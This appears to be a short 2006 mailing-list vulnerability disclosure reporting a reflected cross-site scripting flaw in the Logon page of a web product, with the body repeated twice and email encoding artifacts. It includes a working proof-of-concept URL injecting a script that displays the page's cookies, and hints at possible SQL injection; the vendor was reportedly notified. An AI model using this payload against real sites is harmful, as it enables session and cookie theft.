MC Iglo
26/05/06, 20:20
Hi together,
This also works on serveral web-pages of this product.
http://host/OmegaMw7a.ASP?WCI=3DLogon&WCE=3D0;<script>alert(unescape(docume=
nt.cookie));</script>
There might be some ways for SQL-Injection, too, but i am not willing
to try this at the real system :)
Vendor notified as CC
regards
MC.Iglo
This also works on serveral web-pages of this product.
http://host/OmegaMw7a.ASP?WCI=3DLogon&WCE=3D0;<script>alert(unescape(docume=
nt.cookie));</script>
There might be some ways for SQL-Injection, too, but i am not willing
to try this at the real system :)
Vendor notified as CC
regards
MC.Iglo